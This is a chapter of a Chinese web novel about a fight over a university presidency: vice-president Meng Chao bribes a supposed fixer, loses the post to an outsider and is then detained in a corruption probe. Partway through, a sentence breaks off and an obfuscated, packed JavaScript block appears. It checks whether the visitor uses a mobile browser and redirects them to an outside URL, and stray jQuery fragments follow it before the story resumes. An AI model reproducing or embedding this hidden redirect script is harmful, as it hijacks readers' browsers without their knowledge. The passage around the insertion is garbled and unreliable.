74. 东窗事发
作品:《象牙塔之波》 周濂退休半年来,“双肩挑”的戈大垣不堪重负。经过反复陈情,上面终于同意启动楚江大学校长的遴选工作。
楚江大学这口常年“沸腾”的大锅里,新的气泡又开始密集地翻涌起来,就连普通教职工都能嗅出空气中弥漫的躁动与算计。人人仿佛都成了“义务组织部长”,传播的全都是与新校长人选的消息。有人在打印室“偶遇”,借火点烟时漏出半句“江副校长有戏”;有人在食堂角落用筷子蘸着汤汁写个“孟”字后又笑着抹去;有人在树荫下声音忽高忽低地谈论着秦冰纶的风头……。此刻的楚江大学,好像一个兜售秘闻的夜市,各种捕风捉影甚嚣尘上。
普通人尚且如此,三位当局者更是摩拳擦掌。主角之一的江川,无论是年龄、资历以及温尔文雅的学者形象,让人觉得更适合校长职位。江川本人却不这么认为。当年和周濂竞争时,就是因为轻信自己的实力,最后被周濂“弯道超车”截了胡。现在,同样的问题再次摆在他的面前,一位新的对手——副校长孟超,对校长职位正在虎视眈眈、势在必得。为此,在夫人方琳的襄助下,江川加快了对孟超各种举报投诉的步伐。
孟超当然也没有闲着。虽然知道江川是自己最大的对手,但他从来没有失去过对自己的信心:相差六岁的年龄优势和新校园建设的业绩口碑。这样的信心,让孟超对自己阵营中江、秦二人已是博士生导师的提醒不以为然。在他看来,学校的发展不是看谁的学问好、谁的资历高,而是需要敢担当、有魄力的人来担纲大任。从这个层面来讲,不要说是优柔寡断的江川,即便是雷厉风行的“女强人”秦冰纶,也未必是自己的对手。
尽管如此,孟超也不敢掉以轻心,在继续在校内的中层干部中“织网”的同时,想尽办法从外面寻找靠山。功夫不负有心人。最近,刘芳告诉他刚刚结识了一位“能够随意出入组织部部长办公室”的“人物”,这让孟超喜出望外,在许诺了几个新校园收尾工程后,让刘芳迅速安排和这个名叫苏秉章的人见面。
刘芳那边很快传来了消息。带着从汪清早那里化缘来的二十万元,两人在刘芳刻意安排的一家郊区外的会所中接上了头。
苏秉章个头不高,浑身却自带着一种让人仰望的气场。他走进包厢时脚步很慢,每一步都像在丈量某种看不见的尺度,目光既不左右顾盼,也不落在任何人身上,仿佛眼前的孟超和刘芳只是两件会呼吸的家具。他径直走向主座,那位置仿佛天生就是他的。孟超早已起身,双手热情地伸过去,苏秉章却只是让指尖蜻蜓点水般掠过对方的手掌,眼皮依旧耷拉着,从喉咙里滚出一句:“坐吧。”声音不高,却带着不容置喙的淡漠。
孟超那伸出的手僵在半空,只得讪讪收回,半个屁股小心地挨着椅边坐下,腰背不自觉地挺直,像个等待训话的学生。
苏秉章终于抬了抬眼皮。那不是普通的看,而是一种自上而下的、慢条斯理的审视。他的眼珠似乎蒙着一层薄雾,让你觉得他在看你,又好像穿透你在看别处;眼神扫过时,带着一种评估物件价值的冷静,以及一丝不易察觉的倦怠,仿佛见惯了孟超这般急切又敬畏的面孔。他不主动开口,任由沉默在茶香里发酵,手指有一下没一下地轻叩着桌面,那笃笃的轻响在安静的包厢里格外清晰,每一声都像敲在孟超紧绷的心弦上。
当他终于开口,语速总是慢半拍,字与字之间拖着一点慵懒的腔调,仿佛说的每件事都轻描淡写,却又字字千钧。偶尔,他会微微后仰,靠在椅背上,这个简单的动作由他做来,却像君王巡视疆土般自然,无声地划清了地位尊卑的界线。那份刻意为之的松弛感,与他周身散发的、不容靠近的疏离混合在一起,构成了一种奇特的“气度”——那不是真正的优雅,而是一种善于运用自身分量来制造压迫感的娴熟伎俩。他不必高声,不必疾言,只需用沉默、用眼神、用那慢吞吞的节奏,便将自己稳稳置于云雾环绕的高处,让仰视者愈发觉得他深不可测。
好在有刘芳在二人之间穿针引线,话题最终引到了孟超希望的轨道上来。
“苏总最近去组织部走动多吧?”借着斟茶,刘芳和苏秉章的目光无声交流了片刻。
“还行,”苏秉章半眯着眼,语气随意得像谈论天气:“前天去汉生部长办公室聊了会儿天。嗨,都是些升升降降的鸡毛蒜皮的小事情而已。”
“汉生?”孟超的心剧烈震荡起来:这不是如雷贯耳的梅汉生部长吗?看看苏秉章如此随意提及,可见他们关系应该非同一般。
似乎看出了孟超心中的疑虑,苏秉章又有一搭没一搭和刘芳聊起自己在北京风云激荡的时光,不是掏出手机,从里面快速调出一两张自己在“人民大会堂”、“钓鱼台”的照片。孟超趁机偷偷扫视,孟超心中的疑虑瞬间打消大半。
为了博得苏秉章的好感,孟超特意将两瓶30年茅台摆在显眼的位置。没想到苏秉章却有些故作不满地瞥了刘芳一眼。刘芳心领神会:“嗨,都怪我,苏总什么场面没有经历过呀?今天,还是按惯例,喝苏总自带的‘粮食酒’。”说罢,从苏秉章随身的帆布包里取出一个大好矿泉水瓶来。
孟超有些失望,手中的茅台酒瓶不知如何安放。刘芳伸手抢过,和另一瓶一起塞进到苏秉章的帆布包中:“苏总应酬多,带回去吧。这也算孟校长一点心意。”
苏秉章眼皮一耷拉冷笑了句“都是些身外之物”,忽然抬起头来,目光在孟超身上游走了一圈后问道:“孟校长60年生人吧?”
孟超连忙点头,轻轻应道:“62年的。”
苏秉章将眼光移开,沉吟了片刻后说道:“48啦,说大不大,说小不小,是得抓点紧。”
孟超点头如捣蒜,刘芳也趁机为孟超助威。
苏秉章眯眼睨了刘芳一眼:“看来你倒挺关心孟校长。对了,你不是说他们楚江大学还欠着你的工程款呢嘛?”
孟超会意,当即表态一个月内会结清欠款的。刘芳喜笑颜开:“你看嘛,孟校这么给力,苏总也关心关心他呗。”
苏秉章捕捉到孟超太阳穴的跳动,淡淡说道:“升职可不比你做工程简单。唉,汉生也难呐,现在粥少僧多,就他们楚江大学这个校长位子,现在六七个人盯着呢。”
苏秉章轻飘飘的一句“六七个人盯着”,像根淬了冰的针,猝不及防扎进孟超的耳膜,又顺着血液直刺心脏。他手中的筷子“嗒”的一声滑落在骨碟边缘,一股寒气先从尾椎骨窜起,方才酒精熏蒸和苏秉章那些“高层掌故”而升腾起的些微燥热与希冀,此刻只剩下湿漉漉、沉甸甸的冰凉。“六七个人……”的数字在他脑中嗡嗡回响,不断放大。除了明面上的江川、秦冰纶,还有谁?是校内潜藏的角色?还是外面空降的人物?一时间,想象中面目模糊却威胁十足的影子,从四面八方围拢过来,让他太阳穴的血管突突跳得更加厉害。抬眼偷看了一下苏秉章,人家依然半眯着眼一副高深莫测的样子。情急之下,孟超也顾不得体面,起身将装有十万元的皮包假手刘芳放在了苏秉章的脚下。
苏秉章几乎看都不看一眼,端起酒杯,略微提高了嗓门:“来吧,总不能让酒杯空着呀。”
刘芳给孟超飞了个媚眼:“孟校长赶紧的,给‘关键先生’敬酒呀。”
孟超慌乱地端起杯子抵着苏秉章的杯脚碰了碰后一饮而尽。苏秉章象征性地舔了舔杯沿笑道:“我算什么‘关键先生’?不过认识几个人罢了。孟校长呢也别着急,该你的迟早都是你的嘛。”
虽未明确承诺,但释放的满是希望。孟超忙不迭又连敬了三杯。
最近各路“角儿”的表演,戈大垣尽收眼底。坐在办公室里,指尖的烟灰簌簌跌落,他的胸口莫名的有些发紧。眼下,他最担心的事现在班子里的几位副职做出过火的行为,影响的不只是校长归属,弄不好会殃及自己回到省厅的运筹。
现在,他的办公桌上就摆满了厚厚一摞的举报信。江川、孟超、秦冰纶无一幸免,都在被举报的名单中。戈大垣皱着眉头,狠狠摁灭烟头。为了防止局面失控波及学校和自己,他不得不挨个“谈心”进行敲打。首当其冲的便是行事高调的孟超。
闲扯了几句因资金困难尚未提上日程的三期工程后,戈大垣的话锋陡地转转到孟超对江川的看法上来。
孟超心里一沉:这难道是要为江川站台?他决定不再示弱,故意用试探说出了江川夫妇的传闻上。
戈大垣心里冷笑了一声:这与举报信上的内容倒是有些吻合。他抽出一支烟抛给孟超,孟超手一抖,烟掉在地上,赶紧狼狈捡起。戈大垣在鼻子上嗅了嗅手中的烟,声音低沉厚重,再次讲起了自己的那一套“补台拆台”理论:“老话说,相互补台,好戏连台;相互拆台,一起垮台。越是关键时候,越要讲大局、讲团结的嘛。你说对不对?”
孟超如芒在背。看见敲山震虎起了作用,戈大垣缓缓起身,意味深长地看了他一眼:“你们几位都优秀嘛,我当然希望大家都心想事成。孟校长年轻,可以姿态放低些,主动去和江校长他们谈谈心嘛。”
戈大垣的话不能不听。犹豫了两天,孟超敲开了江川办公室的门。
烟是两人之间最好的粘合剂。两杆烟枪吞云吐雾了一番后,开始心照不宣将话题转到了经济问题和哲学问题之上。
江川忽然叹了口气感慨起来:“孟校,你我这样的烟民应该得到奖章的嘛。税交得多,死得可能还早,这不等于给别人省下养老金了?”
孟超愣了片刻,连忙附和道:“是啊,人生苦短,名利都是过眼云烟罢了。”
江川显出“推心置腹”的样子:“不怕孟校见笑,我现在一有空就在家里参禅,很多东西都四大皆空啦。”
孟超心中嗤笑,嘴上却急切共鸣:“江校说得对。学校里总有一帮小人造谣我俩不和,全他妈的胡扯。大学是清净安宁的象牙塔,又不是你死我活的杀戮场。”
江川仿佛遇到知己:“老弟把话说到这份上,老哥也给你交个底。我这身体,王小二过年——一年不如一年,糖尿病高血压胃溃疡,每天抱着药罐子过日子。我早跟戈书记提过退二线保待遇的请求。唉,上面政策不允许啊。”说到这里,用力干咳几声说道:“老弟可以去问问戈书记,我在他那儿是极力推荐你来做校长的,你年轻有魄力,对发展是有利的嘛。”
“肺腑之言”让孟超感动得眼圈微红。到底年轻,他有些失态起身握住江川双手,恨不得将自己的心掏出来。
初夏时节,暑气还未真正醒来,雨水润过的风像一匹凉滑的绸掠过肌肤,让人很是惬意。刚刚上班,就在人们还在办公室里各自做着上班前的准备工作的时候,忽然接到办公室的电话通知,半个小时后到学术报告厅参加中层干部会议。
近两百名副处级以上干部涓流般汇入报告厅坐定后,主席台上的丝绒幕布掀开,戈大垣陪着一位身着黑色行政夹克的中年男子步履稳重地走了出来。有几位老资历的处长认出,中年男子是组织部的原副部长。会场的气氛顿时紧张起来,一些人迫不及待地咬起了耳朵。戈大垣轻扣了几下话筒,示意会场保持肃静,并恭请原副部长讲话。他从随身的包里取出一份红头文件,目光威严地扫视了一眼台下的听众,清了一下嗓子后,开始照章宣读了起来。他的声音并不算大,加上带些江浙一带的口音,通篇念完,人们似乎只听清了“任命张茅同志为楚江大学校长”这一句话。
会场沉浸在一片错愕声中。当体态臃肿的张茅被请上主席台作表态发言时,人们才恍然惊觉:自己的耳朵并没有什么毛病,而是现实给大家开了一个玩笑。场下的目光如同探照灯般全都聚焦在台上这位即将年满五十七岁、平日总是自嘲“只想回家带孙子”的“老好人”身上。怎么可能?这个大大的问号在每个人心头炸开,又很快被原副部长手中的红头文件压制。
张茅一改往日温言细语、慢条斯理的话风,发言简练干脆、掷地有声:坚决服从决定,坚决履职尽责,坚决民主治校。就连台上的戈大垣,眼里也露出一丝诧异的光来。
张茅发言的同时,戈大垣有意扫视了一眼前排就座的校领导们:江川僵在椅中,宛如一尊瞬间风化的石雕,只有脸颊肌肉偶尔无法控制地抽搐几下。孟超脸如死灰,右手无力地撑在桌面上,眼神空洞散漫地望向主席台。秦冰纶下意识地将额前并不存在的发梢掠向耳后,低头无意识地快速翻动手中的笔记本。只有再过一个月就要退休的汤中臣脸上挂着事不关己的浅笑……。
宣布散会时,孟超几乎是第一个站起身来离开会场的人。回到办公室,他“咣当”一声将门反锁,像一滩泥般瘫在沙发床上,目光停留在天花板夹角处的蛛网上。他曾无数次设想过最后的结果:自己登顶、江川上位、秦冰纶逆袭、甚至外来户空降……,唯独没有将“张茅”这个名字纳入自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904275|192344||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己的视野。荒唐而又讽刺的是,这个言必称“早想提前退休”的“老好人”竟然接住了这个天降的馅饼。
此刻,隔壁张茅办公室外人声鼎沸、笑语喧天。这在孟超听来无比刺耳。恰在这时,窗外凤尾竹上几只灰喜鹊叽叽喳喳叫个不停,气得孟超一股邪火直冲头顶,猛地从沙发上跳将起来,抓起一把凤尾蝶的夹子狠狠撒向灰喜鹊,灰喜鹊竟然不为所动,叫得反而更欢了。无奈的孟超飞起一脚,对着张茅办公室的那面墙狠狠踹去,算是发泄了对喜鹊的不满。在办公室困兽般地走动了两圈后,又疯了似地拉开抽屉,扒出那份精心润色了无数遍就职演讲稿,用尽全身力气将它撕扯得粉碎,纸屑雪片般飘落了一地。
不知过了多久,心情稍有平复,孟超猛地意识到自己应该是被刘芳和苏秉章合伙做了个“局”。想起真金白银付出的二十万,剜得他的心疼得要滴出血来,在心底里愤怒地骂了句“婊子无情”,打定主意暂缓结清刘芳二期工程中的一千多万余款。
校长之争败走麦城的锥痛还未消散,汪清早传来的何荣坤一案即将开庭的消息,让孟超整个人如坠入深渊之中。这些天来,他心如沸水,日夜难宁,眉宇间终日凝着一团驱不散的阴云。夜深人静时,常被噩梦惊醒,冷汗涔涔,心跳如鼓,眼前总晃动着奇怪幻影。白日上班,总喜欢将自己反锁在办公室内,一遍遍回溯与何荣坤过往的每一次接触、每一个细节。这反复咀嚼的过程,如同钝刀割肉般令他心力交瘁,眼神里透出一股如丧考妣的萧瑟之气。
老婆韩梅当然体会不到孟超撕心裂肺的苦楚。在愤愤不平校长旁落时,她忽然对几天后的端午节憧憬起来,希望往日门庭若市的场景能够盛世重来。气得孟超骂了声“愚蠢”,脸色铁青地离开了家。
熬过了几个不眠之夜,孟超觉得当务之急是要和汪清早见上一面。
夏天的天色亮得早,为了避开人们的视线,两人特意选择凌晨六点在学校附近的马鞍山森林公园见面。在郁郁葱葱的樟树林下,孟超等了约十来分钟,汪清早的宝马车才在樟树林外的马路边上停下。淡淡的晨雾中,汪清早步伐迟缓、神色轻松,这让孟超心里又莫名地冒出火来。他心里清楚,现在不是对这位已是亿万富翁的“乡巴佬”发火在的时候。深吸了一口气,孟超努力让声音平稳:“老汪,小何那边,怕是快捂不住了呢。”嘴上小心翼翼投石问路,眼睛却紧盯着汪清早脸上每一丝细微变化。
汪清早并未如预想中焦急失色,眉头反而露出一抹古怪的淡然。他慢悠悠从口袋里掏出手机有节奏地摇晃了几下:“孟校,怕个球毛啊?我这里都有记录的。这些年按您的意思,我大概拿了80来万的样子吧。”
孟超惊诧地后退了几步:“汪总莫瞎说哦。怎么是按我的意思呢?”
汪清早并不说话,又再次摇了摇手机,嘴角浮起一丝冷笑:“我为什么要对老何‘慷慨’?孟校您应该门儿清啊?”“门儿清”三个字,被他咬得格外清晰。
汪清早不同寻常的态度,像一盆冰水兜头浇下,让孟超感到刺骨寒意顺着脊椎急速蔓延。只有他自己清楚,汪清早“放血”的80万,真正落入何荣坤口袋的其实是打了对折。剩下的……。孟超不敢往下深想,本来今天是准备来敲打汪清早不能妄言妄语,如今反被他拿捏住了“七寸”。孟超的脑子立刻乱成了一锅粥,只好有些低声下气地安慰起汪清早来。正说到统一口径的关键处,裤兜里的手机尖锐地嘶鸣起来。掏出手机一看是顾明远的电话,孟超猛地想起,早上安排了自己给分管部门科级以上干部讲授廉政专题课。眼看离开讲时间只有半个小时的样子,孟超只好带着讨好语气匆匆给汪清早交代了几句,便火急火燎地发动车子向学校方向疾奔而去。
刚在地下车库停稳车子,孟超的手在门把手上停滞下来,猛拍了几下脑门:咳,他妈的怎么把这事忘了呢。连忙拿起手机,给这些天一直在汉口娘家照顾瘫痪母亲的韩梅打去了电话,劈头就是一句“家里的那些存货处理完了没有呀”,韩梅知道“存货”指的是这十几年来接受的各种金银玉器和英镑美元这些玩意,只淡淡说了句“等我过几天回来后再处理呗”,急得孟超的声音里几乎带出了哭腔:“姑奶奶,都什么时候了呀”,说到这里,几乎是用央求的语气让韩梅立刻赶回家里。韩梅听出了些异样,答应马上动身,临了忍不住问道:“那几家黑心的店家开价太低了,不用等了?”看见手机里顾明远的来电显示,孟超只好对着手机吼了一句:“实在不行,全都丢进垃圾桶里算了”,便急匆匆地挂断电话。
孟超步伐有些凌乱走进会场。台下早已坐满了自己分管的六个部门的大大小小的干部。在顾明远简要介绍后,孟超强抑着狂乱的心跳,尽量语气平稳地念起了稿子。第一部分刚刚念完,正读到“警钟长鸣,洁身自好,坚决不取不义之财”时,眼角的余光忽然发现侧面的幕布后面有人影在晃动,后背莫名地冒出冷汗来。强迫自己稳住声线将讲稿全部念完,发现幕布后的人影依然在那里晃动,甚至有一个陌生的面孔从幕布后探出脑袋来往主席台上看了看。
当人流如同退潮般散去,空旷的会场变得令人窒息的寂静。正在低头收拾讲稿,学校纪委书记陪着三个陌生人从幕布后走了出来。没有多余言语交流,领头的男子出示了一下证件,孟超就被两人一左一右夹着走进了停在侧门的一辆商务车中。
车子并未立刻驶离校园,而是调转方向向孟超所在的家属楼缓缓开去。当几人簇拥着失魂落魄的孟超下车时,一辆“的士”“嘎吱”一声停在了不远处的路沿边,里面走出了因为堵车迟到的韩梅,远远地看到丈夫被带上楼的背影,韩梅臃肿的身体如同被重锤击中,积木倒塌般地瘫坐在冰冷的水泥地上。
孟超在会场被直接带走的消息,如同滚烫的热油骤然倾入楚江大学这潭看似平静的“冷水”之中。刹那间,整个校园“噼里啪啦”地沸腾、炸裂开来。消息传到江川耳朵时,他独自坐在办公室里好半天没有动弹。望着窗外熟悉的风景,心中却莫名翻涌起一阵兔死狐悲的苍凉。孟超的倒塌虽然有自己暗中推波助澜的“功劳”,现在的他竟没有一丝成功的喜悦,唯一的想法就是必须尽快结束与方琳三十年的婚姻关系。同样心情低落的还有秦冰纶,想起这些年和孟超之间有起有落、有冷有热的交往,心中莫名地生出一些恐惧和惊忧,担心城门失火最终殃及到自己这条“美人鱼”。

